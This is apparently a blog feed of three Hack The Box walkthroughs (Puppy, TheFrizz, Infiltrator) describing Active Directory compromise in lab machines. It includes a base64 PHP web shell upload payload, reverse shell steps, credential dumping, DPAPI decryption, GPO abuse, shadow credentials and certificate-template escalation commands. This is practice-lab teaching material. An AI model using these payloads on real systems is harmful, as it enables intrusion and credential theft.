Grab the user flag by running type user.txt in the WinRM shell.

Escalate to Root Privileges Access

Privilege Escalation:

There is a Backups directory located inside C:\ on the target machine.

The Backups directory contains a file named site-backup-2024-12-30.zip.

Downloaded the backup file to our local machine.

Backup triage β€” uncovering secrets in site-backup

Next, the backup file is extracted to inspect and analyse its contents in detail.

The extracted backup contains two directories, assets and images, along with two files: index.html and nms-auth-config.xml.bak.

The file nms-auth-config.xml.bak caught my attention; it is an XML 1.0 document in ASCII text format.

User access obtained β€” steph.cooper

The nms-auth-config.xml.bak file contains LDAP authentication details, including a bind account cn=steph.cooper,dc=puppy,dc=htb with password ChefSteph2025!, which can be used to query the LDAP server at DC.PUPPY.HTB:389. It also defines how user attributes (uid, givenName, sn, mail) and group attributes (cn, member) are mapped, along with a search filter for querying users. This makes the file both a sensitive credential source and a guide for LDAP enumeration.

Authenticated to 10.10.11.70 over WinRM using steph.cooper:ChefSteph2025! and obtained an interactive shell β€” host compromised (Pwn3d!)

Established a WinRM session to 10.10.111.70 using steph.cooper:ChefSteph2025! via vil-winrm and obtained an interactive shell β€” host compromised.

Ran bloodhound-python with steph.cooper:ChefSteph2025! against puppy.htb (collector DNS 10.10.11.70), which enumerated AD objects (users, groups, computers, sessions, ACLs, trusts, etc.) and packaged the output into a zipped bundle ready for import into BloodHound to map privilege-escalation and lateral-movement paths.

STEPH.COOPER@PUPPY.HTB holds DOMAIN ADMINS and ADMINISTRATORS membership, giving full domain-level control, while STEPH.COOPER_ADM@PUPPY.HTB belongs to ENTERPRISE ADMINS, granting top-level, forest-wide privileges across the entire network.

Decrypting DPAPI master key for root access

The script iterates every profile under C:\Users and, for each user, prints headings then lists full paths to DPAPI β€œMaster Key” files (under AppData\Roaming\Microsoft\Protect and AppData\Local\Microsoft\Protect) and credential blobs (under AppData\Roaming\Microsoft\Credentials and AppData\Local\Microsoft\Credentials). It suppresses errors when folders don’t exist and outputs the exact file pathsβ€”useful for locating DPAPI keys and credential files for offline extraction and decryption.

That command starts an SMB server that exposes the local ./share directory as a network share named share with SMB2 support enabled, allowing remote hosts to connect and retrieve or push files (commonly used to serve payloads or collect exfiltrated data during engagements).

I noticed several directories under C:\Users\steph.cooper\AppData\Roaming\Microsoft that can be leveraged.

Permission denied when attempting to access that path.

After some time, I realised we need to create a local directory share on our machine.

Finally, it worked as expected.

Downloaded the files to the local machine successfully.

An error occurred: X509_V_FLAG_NOTIFY_POLICY appeared. This typically relates to SSL/TLS certificate verification issues during the connection or handshake process.

After investigating on my machine, I discovered that the installed PyOpenSSL version is 23.0.0.

To resolve the issue, PyOpenSSL was first uninstalled using sudo pip3 uninstall pyOpenSSL and then reinstalled with the latest version via sudo pip3 install --upgrade pyOpenSSL.

To my surprise, the process worked successfully and produced the following decrypted master key:
0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84.
I can now use this key for further analysis or to decrypt stored credentials.

Impacket decoded a domain credential: the Username is steph.cooper_adm and the Unknown field contains the cleartext password FivethChipOnItsWay2025!. Use these credentials to attempt an interactive logon, then assess the account’s privileges and restrictions before pivoting.

Authenticated to 10.10.11.70 over WinRM with steph.cooper_adm:FivethChipOnItsWay2025! and obtained an interactive shell β€” host compromised (Pwn3d!).

It completed successfully.

Checked steph.cooper_adm’s desktop and did not find the root flag.

An Administrator directory is present β€” we can explore it for sensitive files and potential privilege escalation.

Grab the root flag by running type root.txt in the shell.

The post Hack The Box: Puppy Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Hack The Box: TheFrizz Machine Walkthrough – Medium Difficulity

By: darknite
23 August 2025 at 10:58
Reading Time: 11 minutes

Introduction to TheFrizz:

In this write-up, we will explore the β€œTheFrizz” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on TheFrizz machine:

The goal of this walkthrough is to complete the β€œTheFrizz” machine from Hack The Box by achieving the following objectives:

User Flag:

We began by exploiting a file upload vulnerability to gain a web shell on the target. From there, we located the config.php file, which contained database credentials. Using these, we accessed the database locally through mysql.exe, extracted a user hash, and successfully cracked it to obtain the password Jenni_Luvs_Magic23. With these credentials, we logged into the web application and discovered a message detailing an upcoming SSH migration, hinting at Kerberos-based authentication. We generated a Kerberos ticket (f.frizzle.ccache), leveraged it to gain SSH access to the system, and ultimately retrieved the user flag by executing type user.txt.

Root Flag:

After escalating privileges using M.SchoolBus and exploiting the SleepGPO via SharpGPOAbuse, we forced the Group Policy to update with gpupdate.exe /force. We then used secretdump to gather credentials and leveraged wmiexec to gain a root-level shell. From there, we accessed and read the root flag using the command type root.txt.

Enumerating the TheFrizz Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.60

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/thefrizz]
└──╼ $nmap -sC -sV -oA initial 10.10.11.60 
# Nmap 7.94SVN scan initiated Thu Aug 21 20:57:38 2025 as: nmap -sC -sV -oA initial 10.10.11.60
Nmap scan report for 10.10.11.60
Host is up (0.16s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Analysis:

  • Port 22 (SSH): OpenSSH for_Windows_9.5 (protocol 2.0) for secure remote access
  • Port 53 (DNS): Simple DNS Plus
  • Port 80 (HTTP): Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12) web server, redirects to http://frizzdc.frizz.htb/home/
  • Port 135 (MSRPC): Microsoft Windows RPC
  • Port 139 (NetBIOS-SSN): Microsoft Windows NetBIOS session service
  • Port 389 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
  • Port 445 (Microsoft-DS): Windows file sharing and Active Directory services
  • Port 464 (kpasswd5): Kerberos password change service
  • Port 593 (NCACN_HTTP): Microsoft Windows RPC over HTTP 1.0
  • Port 3268 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Web Application Exploration on TheFrizz Machine:

This page offers no useful content; the only option available is a Staff Login link located in the upper right corner.

Clicking on the Staff Login redirects to a login page, but we currently do not have valid credentials to proceed with testing.

While examining the framework, I identified it as Gibbon v25.0.00 and found the following three relevant links through online research.

CVE-2023-34598: Local File Inclusion Vulnerability in Gibbon v25.0.0

Gibbon v25.0.0 is susceptible to a Local File Inclusion (LFI) vulnerability, allowing attackers to include and expose the contents of various files within the installation directory in the server’s response. This flaw, identified as CVE-2023-34598, poses a significant risk by potentially revealing sensitive information stored in the affected files.

The proof-of-concept (PoC) for this can be found on GitHub here

However, this LFI is limited to reading non-PHP files, indicating certain restrictions. As shown in the screenshot, we attempted to read gibbon.sql. It appears to be included by default and contains nothing of interest.

Let’s proceed to test this directly on the website.

The page returns blank, which indicates a positive outcome.

Exploiting Web Vulnerabilities: Gaining a Reverse Shell with Burp Suite

It appears promising when viewed in Burp Suite.

We successfully uploaded dark.php to the website using the payload:

img=image/png;dark,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=dark.php&gibbonPersonID=0000000001

Although any file type could be used, we tested specifically with dark.php.

We encountered an error upon execution.

The error displayed in the browser was similar to the one shown above.

We proceeded to test for command execution using the uploaded web shell by sending a request to dark.php with the parameter cmd=whoami (e.g., GET /path/to/dark.php?cmd=whoami or via curl http://target/dark.php?cmd=whoami). If successful, the response should display the current web user. If no output or an error is returned, we will try URL-encoding the command, using alternatives like id or uname -a, and verifying that cmd is the correct parameter used in the PHP payload.

We attempted to run a basic Windows reverse shell through the uploaded web shell, but it failed to execute and did not establish a connection.

Switching to a different reverse shell command/payload produced no response, but this outcome is still useful to note.

We successfully obtained a reverse shell connection back to our system.v

Burp Suite shows the connection assigned to the user w.webservice.

Two privileges are enabled, and one is disabled.

After gaining the shell, review the Gibbon configuration file and confirm that the current working directory is within the root of the entire site.

Database Credentials Extraction

In config.php, we found database credentials indicating an account connected to the database:

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

To avoid using port forwarding, we searched the machine for mysql.exe to interact with the database locally.

MySQL Database Enumeration on TheFrizz Machine

After some searching, we located mysql.exe on the machine.

Executing the SQL command above produced no output or effect.

Therefore, we modified the command to include SHOW DATABASES; to verify accessible databases.

We executed:

.\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SHOW TABLES;"

The output listed several tables, including gibbonperson.

I then focused on the retrieved hash and attempted to crack it for possible credentials.

The extracted hashes, shown above, were used for the cracking attempt.

The cracking attempt failed due to Hashcat’s β€œseparator unmatched” error, indicating an unrecognized hash format.

The hash format likely needs to follow the example shown earlier, ensuring it matches the expected structure for Hashcat to process correctly.

Cracking the hash revealed the password Jenni_Luvs_Magic23.

Staff login enumeration

A screenshot of a computer

AI-generated content may be incorrect.

Since the web shell didn’t reveal anything useful, we proceeded to log in to the web application using the cracked credentials and began reviewing its contents.

A screenshot of a computer

AI-generated content may be incorrect.

The red option in the upper right corner caught my attention, and after clicking it, the Message Wall section appeared.

A screenshot of a computer

AI-generated content may be incorrect.
A screenshot of a computer error

AI-generated content may be incorrect.

One of the messages stated: Reminder that TODAY is the migration date for our server access methods. Most workflows using PowerShell will not notice a difference (Enter-PSSession). If you encounter any issues, contact Fiona or Marvin between 8am and 4pm to have the pre-requisite SSH client installed on your Mac or Windows laptop.

Bloodhound enumeration on TheFrizz Machine

To analyse the environment with BloodHound, we used the command mentioned above.

A diagram of a network

AI-generated content may be incorrect.

The user F.frizzle belongs to Remote Management Users, Domain Users, and the Users group.

A diagram of a group of circles

AI-generated content may be incorrect.

The user M.schoolbuss is a member of Desktop Admins and Group Policy Creator Owners.

The error β€œClock skew too great” indicates the password is valid, but the local system clock is out of sync, likely running behind the server’s time.

Even after synchronising the time using ntpdate, the issue persisted, and the connection still failed.

Using the date command to manually adjust the time resulted in the same β€œClock skew too great” error.

Using faketime bypassed the clock skew issue, but the process now appears to be stuck when attempting to establish a session with evil-winrm.

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

Updating the /etc/krb5.conf file also failed to resolve the issue, and the connection remains unsuccessful.

We successfully generated an f.frizzle.ccache Kerberos ticket.

SSH access to the target system was successfully obtained.

We obtained the user flag by executing the command type user.txt.

Escalate to Root Privileges Access

Privileges Access

An alternative faketime command also worked successfully, as demonstrated earlier.

While exploring the machine, we discovered a ChildItem within the Recycle.Bin folder.

We found two .7z archive files in the Recycle.Bin folder for further analysis.

Move the .7z files to the ProgramData directory to simplify access and analysis.

We were able to transfer files using the nc.cat command, as demonstrated earlier.

The file transfer eventually completes, though it may take a long timeβ€”around 2 hours in my case, though the duration may vary for others.

The wapt directory contains numerous files and folders.

I noticed a password that has been encoded using Base64.

As a result, I successfully uncovered a password: !suBcig@MehTed!R.

We can identify the potential user accounts as shown above.

We consolidated all the potential user accounts and credentials into a single file for easier reference.

Many users experienced KDC_ERR_PREAUTH_FAILED errors, but one user (frizz.htb\M.SchoolBus) with password !suBcig@MehTed!Rβ€”returned a KRB_AP_ERR_SKEW error.

As before, we executed the same command, but this time replaced F.Frizzle with M.SchoolBus.

Group Policy Exploitation

We created a new Group Policy Object and linked it with the command:

New-GPO -Name SleepGPO -Comment "Sleep is good" | New-GPLink -Target "DC=FRIZZ,DC=HTB" -LinkEnabled Yes

The command creates a new Group Policy Object (GPO) named SleepGPO with a note saying β€œSleep is good”. A GPO is basically a set of rules or settings that can be applied to computers or users in a network. The command then links this GPO to the main network domain FRIZZ.HTB, making it active and enforcing the rules or settings defined in it.

We uploaded SharpGPOAbuse onto the victim’s machine to prepare for further Group Policy exploitation.

We used SharpGPOAbuse to elevate privileges by modifying the previously created GPO. The command

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "SleepGPO"

adds the user M.SchoolBus as a local administrator on targeted machines by leveraging the SleepGPO. Essentially, this allows M.SchoolBus to gain administrative rights across the network through the Group Policy.

The command gpupdate.exe /force is used to immediately apply updated Group Policy settings, ensuring that changes made by tools like SharpGPOAbuse take effect on target machines without waiting for the default refresh interval (typically 90 minutes). This forces a refresh of both user and computer policies, applying any new or modified Group Policy Objects (GPOs) instantly.

The command secretdump was executed to extract credential information from the target system, enabling further enumeration and exploitation.

We leveraged wmiexec to execute commands remotely and gain a root-level shell on the target system.

A black background with green text

AI-generated content may be incorrect.

We obtained the root flag by accessing the root shell and executing type root.txt.

The post Hack The Box: TheFrizz Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Hack The Box: Inflitrator Machine Walkthrough – Insane Difficulity

By: darknite
14 June 2025 at 10:58
Reading Time: 17 minutes

Introduction to Infiltrator:

In this write-up, we will explore the β€œInfiltrator” machine from Hack The Box, categorised as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on Infiltrator machine:

The goal of this walkthrough is to complete the β€œInfiltrator” machine from Hack The Box by achieving the following objectives:

User Flag:

We start by finding user accounts that don’t have strong protections, like l.clark. Then, we use tools to grab their password hash, which is like a scrambled password. After cracking it, we get the actual password and use it to remotely access their desktop, where we find the first flag. If normal remote login doesn’t work, we try other methods like accessing shared folders to get in.

Root Flag:

Next, we exploit a weakness in the company’s certificate system. This flaw lets us request a special digital certificate that gives us admin-level access. Using this certificate, we log in as the administrator and grab the second flag from their desktop. This works because attackers can exploit the certificate system’s vulnerable configuration.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.31

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/infiltrator]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.31 
Nmap scan report for 10.10.11.31
Host is up (0.16s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: Potentially risky: TRACE
|_http-title: Infiltrator.htb
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-19 12:21:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
| ssl-cert: SAN=dc01.infiltrator.htb, infiltrator.htb, INFILTRATOR
| Not valid before: 2024-08-04; Not valid after: 2099-07-17
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows AD LDAP
3268/tcp open  ldap          Microsoft Windows AD LDAP
3269/tcp open  ssl/ldap      Microsoft Windows AD LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: Domain=INFILTRATOR, Host=DC01, OS=10.0.17763
| ssl-cert: commonName=dc01.infiltrator.htb (valid until 2025-09-17)
Service Info: Host: DC01; OS: Windows

Analysis:

  • 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
  • 80/tcp – IIS 10.0 web server hosting Infiltrator.htb, TRACE enabled (may aid web testing).
  • 88/tcp – Kerberos authentication (typical for AD environments).
  • 135/tcp – MS RPC endpoint mapper (useful for enumeration).
  • 139/tcp – NetBIOS session service (Windows file/printer sharing).
  • 389/tcp – LDAP (Active Directory query in plaintext).
  • 445/tcp – SMB service (file sharing, potential attack vector).
  • 636/tcp – LDAPS (encrypted LDAP queries).
  • 3268/tcp – Global Catalog LDAP (AD forest-wide search).
  • 3269/tcp – Secure Global Catalog (LDAPS).
  • 3389/tcp – RDP on DC01 (remote GUI access).

Web Enumeration on Infiltrator machine:

Web Application Exploration:

The website appears quite basic and unremarkable.

I noticed a few names listed on the β€œYoung & Talented Members” page.

The potential username likely follows the format shown in the screenshot above.

A more efficient approach is to combine the username with the domain and utilise Kerbrute for enumeration.

Enumerating using impacket on infiltrator machine

The user l.clark was chosen because it does not require pre-authentication, which means the domain controller allows a request for a Kerberos ticket without verifying the user’s password first. This makes it possible to use the command below to request a ticket without supplying a password (--no-pass) aiding in offline password cracking or further enumeration:

impacket-GetNPUsers infiltrator.htb/l.clark --no-pass -dc-ip dc01.infiltrator.htb -outputfile user.out

The hash appears as shown in the screenshot.

I used a tool called Hashcat, which takes about a minute to try many possible passwords against the scrambled one until it finds the right match. That’s how I uncovered the password: WAT?watismypass!.

I was hoping it would work, but sadly, it didn’t authenticate with evil-winrm.

Finding an Access Path

The shares β€˜admin’, β€˜c$’, β€˜netlogon’, and β€˜sysvol’ are present but have no write permissions when accessed via impacket-psexec.

Access denied error (rpc_s_access_denied) encountered when using atexec.

Encountered WMI session error with code 0x80041003 (WBEM_E_ACCESS_DENIED) while executing wmiexec.

SMB enumeration didn’t give any useful info. Plus, even after checking thoroughly, I couldn’t find anything valuable.

All attempts failed, returning a status_logon_failure error.

Therefore, let’s highlight only l.clark the user associated with the previously identified password. Unexpectedly, the authentication was successful.

Attempted to gather information using BloodHound-python but failed due to a KRB_AP_ERR_SKEW error.

Let’s synchronise the system date and time using the ntpdate command.

In the end, I successfully completed the operation, which was quite unexpected.

BloodHound Enumeration

Summary of the BloodHound output collected directly from the machine.

It looks like user accounts like d.anderson and e.rodriguez are linked to generic or shared digital access, suggesting weak or unclear ownership that could be exploited.

Since NTLM login is disabled, you can interact directly with Kerberos to get a ticket-granting ticket (TGT):

impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!' -dc-ip dc01.INFILTRATOR.HTB
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Saving ticket in d.anderson.ccache

This command obtains and saves the Kerberos ticket.

DACL Abuse inside the Infiltrator machine

User d.anderson has GenericAll permissions on the MARKETING DIGITAL OU, which allows for DACL abuse.

You can use the dacledit.py script from Impacket to modify permissions:

dacledit.py -action write -rights FullControl -inheritance -principal d.anderson -target-dn "OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB" infiltrator.htb/d.anderson -k -no-pass -dc-ip 10.10.11.31

This command grants full control permissions on the target OU.

Shadow Credentials for Infiltrator machine

Since D. Anderson has Full Control over the MARKETING DIGITAL group and E. RODRIGUEZ is part of that group, you can add shadow credentials to escalate privileges.

Using BloodyAD, an Active Directory privilege escalation tool, run the following command:

bloodyAD --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -d infiltrator.htb -u d.anderson -k add shadowCredentials E.RODRIGUEZ

Keep in mind that the password you set for the shadow credential needs to follow the domain’s password rules, usually requiring uppercase and lowercase letters, numbers, and special characters.

We successfully changed the password, as shown in the screenshot above.

Kerberos Ticket Authentication on

The user e.rodriguez has permission to add themselves to the Chief’s Marketing group and can also change the password of m.harris. This means e.rodriguez holds unusually high privileges that could be abused to gain more access or control over sensitive

After we changed e.rodriguez’s password, we needed to prove to the network that we are now acting as this user. To do this, we requested something called a Kerberos ticket β€” think of it like a digital badge that confirms your identity on the network.

The first command:

impacket-getTGT infiltrator.htb/"e.rodriguez":"P@ssw0rd" -dc-ip dc01.infiltrator.htb

This tells the system:

  • β€œHey, get me a Kerberos ticket for the user e.rodriguez using the new password P@ssw0rd”
  • infiltrator.htb is the domain (like a company name on the network).
  • -dc-ip dc01.infiltrator.htb specifies the IP address of the domain controller β€” the server that manages user identities and passwords.

The second command:

export KRB5CCNAME=e.rodriguez.ccache

accounts.

This tells your computer, β€œWhen you need to prove who you are on the network, use the ticket saved in the file e.rodriguez.ccache.” This way, other tools or commands can authenticate as e.rodriguez without asking for the password again.

In short, these commands let us log in as e.rodriguez on the network using the new password, but instead of typing the password each time, we use the Kerberos ticket as a secure proof of identity.

This command uses BloodyAD to add the user e.rodriguez to the β€œCHIEFS MARKETING” group in the Active Directory. By doing this, e.rodriguez gains the permissions and access rights of that group, potentially increasing control within the network.

It seems the password isn’t being acceptedβ€”maybe a cleanup script or some process is reverting it back to the old one.

Kerberos Configuration

After making the changes, you need to configure your system to use the Kerberos ticket properly. First, tell your system where the Kerberos server is and specify the ticket file by editing the configuration file as shown below:

$ cat /etc/krb5.conf 
[libdefaults]
    default_realm = INFILTRATOR.HTB
    dns_lookup_kdc = false
    dns_lookup_realm = false

[realms]
    INFILTRATOR.HTB = {
        kdc = 10.10.11.31
        admin_server = 10.10.11.31
    }

[domain_realm]
    .infiltrator.htb = INFILTRATOR.HTB
    infiltrator.htb = INFILTRATOR.HTB

Once this is set up, you can use evil-winrm to pass the Kerberos ticket and authenticate seamlessly.

This script should work if quick enough

Finally, we gained access to the evil-winrm shell.

We can view the user flag by running the command type user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

The whoami /all command reveals the full security context of the current user, including group memberships and privileges. It’s a quick way to check if the user has elevated rights or special privileges like SeImpersonatePrivilege, which can be abused for privilege escalation. This makes it essential during post-exploitation to assess what actions the compromised account can perform.

If whoami /privs shows three privileges enabled, you can briefly explain it like this in your write-up:

Running whoami /privs revealed three enabled privileges. These indicate what special actions the current user can perform without needing admin rights. Commonly abused ones include SeMachineAccouuntPrivilege, SeChangeNotifyPrivilege, or SeIncreaseWorrkingSetPrivilege, which attackers often leverage for privilege escalation via token manipulation or service abuse. Identifying these helps determine viable escalation paths quickly.

Port-Forwarding on the Infiltrator Machine

Discovered several local services while inspecting network connections using the netstat command.

On the client side, these are the ports that need to be forwarded to our machine.

The port is actively listening for connections.

Output Messenger Access

It redirects us to a login page.

An Apache server is also running.

Clicking on it leads to a 404 error page.

We can log in to Output Messenger using K.Turner’s credentials.

K.turner’s wall contains a post mentioning the password for M. Harris.

Log in to the application via a web browser using the credentials we discovered earlier.

Unfortunately, it doesn’t display properly in the browser

wget https://www.outputmessenger.com/OutputMessenger_amd64.deb -O OutputMessenger_amd64.deb
sudo dpkg -i OutputMessenger_amd64.deb
outputmessenger

The commands start by downloading the Output Messenger installation package directly from its official website using wget, saving it as a .deb file on the local machine. Then, the package is installed with administrative privileges using dpkg, the Debian package manager, which handles the installation of .deb files. After the installation is complete, the outputmessenger command is used to launch the application, allowing access to its messaging features.

Let’s launch Output Messenger.

Use the same credentials as before to log in.

We have successfully logged into Output Messenger as m.harris, and the interface appears clean and visually appealing.

We should download the UserExplorer.exe file to our local machine for further analysis.

Cracking the password

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64

def decrypt_string(key: str, cipher_text: str) -> str:
  key_bytes = key.encode('utf-8')
  cipher_bytes = base64.b64decode(cipher_text)

  if len(key_bytes) not in {16, 24, 32}:
    raise ValueError("Key must be 16, 24, or 32 bytes long")

  cipher = Cipher(algorithms.AES(key_bytes), modes.CBC(b'\x00' * 16), backend=default_backend())
  decryptor = cipher.decryptor()

  decrypted_bytes = decryptor.update(cipher_bytes) + decryptor.finalize()

  return decrypted_bytes.decode('utf-8')

key = 'b14ca5898a4e4133bbce2ea2315a1916'
cipher_text = 'TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE='

print(decrypt_string(key,decrypt_string(key, cipher_text)))

It works by taking a scrambled string (known as a ciphertext) and unlocking it using a method called AES encryption, which is a widely used standard for securing data. The key acts like a password that must match exactly for the decryption to succeed. If the key isn’t the right length, specifically 16, 24, or 32 characters, the program will stop and raise an error. Once everything is set up, it processes the ciphertext and converts it back into readable text. Interestingly, in this example, the program decrypts the message twice in a row, which might mean the original data was encrypted two times for extra security.

After some time, we successfully retrieved the password displayed above.

It should work like a charm.

It functions exactly as intended.

The privileges granted are the same as those of the previous user.

Database Analysis

There are two DB3 files available for further investigation.

Downloaded the database to our machine and observed several chatroom groups listed inside.

This hints at the presence of an account password, but access to the chat history in this channel is restricted. Coincidentally, the API key for it is available just above.

The user lan_management has permission to read the GMSA (Group Managed Service Account) password of infiltrator_svc. This means they can retrieve the service account’s credentials, which could be used to access systems or services that rely on that account, potentially a key step toward privilege escalation.

This command securely retrieves chat history from a local server using a unique API key for access. It specifically requests logs from a particular chatroom within the date range of August 1, 2023, to August 31, 2024. Once the data is received, it filters out just the chat logs and saves them into a file named dark.html. This allows users to back up or review past conversations in a readable format.

We retrieve the credentials for O.martinez.

I generated a PowerShell Base64-encoded reverse shell one-liner using revshells.com and saved it as rev.bat. After uploading the script to the Infiltrator machine, I scheduled a task to execute it. When the scheduled time arrived, the reverse shell successfully connected back, granting remote access.

dark@parrot$ rlwrap nc -lvnp 9007
Listening on 0.0.0.0 9007
Connection received on 10.10.11.31 50279

PS C:\Windows\system32> whoami
infiltrator\o.martinez

There is one .pcapng file, which is a Wireshark analysis file.

Download the file to our local machine.

Wireshark Analysis

We have a new_auth_token, which might be a password.

We save the bitlocker-backup.7z file to our machine in ASCII format.

BitLocker Backup

The file should resemble the example shown above.

However, it did not succeed for some reason.

Therefore, let’s download the file in β€œRAW” format.

In the end, the file is a properly formatted 7-zip archive.

Let’s crack the zip file

Discovered β€œzipper” as the password for the bitlocker-backup.7z archive.

The file was successfully unzipped using the password we found earlier.

There is one HTML file.

Unfortunately, the HTML file appears to be in French.

It contains BitLocker recovery keys, but I’m not sure what the keys are used for yet.

RDP Connection

Let’s connect to the machine using an RDP session.

Enter the credentials we found in the Wireshark packet.

Let’s enter the recovery key we found in the HTML file.

We successfully located the Backup_Credentials.7z file.

Download the backup file to our local machine.

There are two folders that we can explore further. We found several files, including ntds.dit, the Security and System files.

The obvious step here is to try dumping hashes from the NTDS file using secretsdump, but nothing interesting came out of it.

This command extracts important data from a Windows system’s security database and saves it into a new file for easier analysis.

This shows a list of user accounts, including their names and descriptions. The last line looks like a username and password combination.

The command connects to the server at 10.10.11.31 using the username β€œlan_management” and the password β€œl@n_M@an!1331.” It identifies the server as running Windows 10 or Server 2019 and successfully authenticates the user on the infiltrator.htb domain. After logging in, it retrieves Group Managed Service Account (GMSA) passwords. For instance, it obtains the NTLM hash for the account β€œinfiltrator_svc$,” represented here as β€œxxx,” which is unique for each user. This process allows access to the server and extraction of valuable service account credentials.

This command checks if the account β€œinfiltrator_svc$” with a specific password hash has any security weaknesses on the domain controller at 10.10.11.31, and it shows the results directly.

Exploiting ESC4 Vulnerability in Active Directory Certificate Services for Privilege Escalation

This article from RedFoxSec dives into how attackers exploit poorly secured Active Directory certificate templates. In many organisations, these templates control who can request or manage digital certificates, which are like electronic ID cards for devices and users. When the security settings on these templates are weak or misconfigured, attackers can abuse them to issue themselves trusted certificates. This allows them to impersonate users or computers, gain elevated access, and move freely inside the network without raising alarms. Understanding and fixing these vulnerabilities is crucial to preventing serious security breaches in a Windows environment.

We ran those commands, but they didn’t produce the expected results.

Therefore, we checked the network traffic and packets for issues, but no errors were found.

After some time, I hit a roadblock with the escalation and asked for advice from a friend who had successfully rooted it. We discovered that Certipy version 5.0.2 was causing the issue, so I decided to downgrade to an earlier version of Certipy. To my surprise, it worked perfectly.

We successfully obtained the administrator.pfx file as shown above.

The NTLM hash for the user administrator@infiltrator.htb was successfully extracted. The retrieved hash value is aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1.

Using these hashes, we successfully gained access as the administrator.

We can view the root flag by running the command type root.txt.

The post Hack The Box: Inflitrator Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.

❌
❌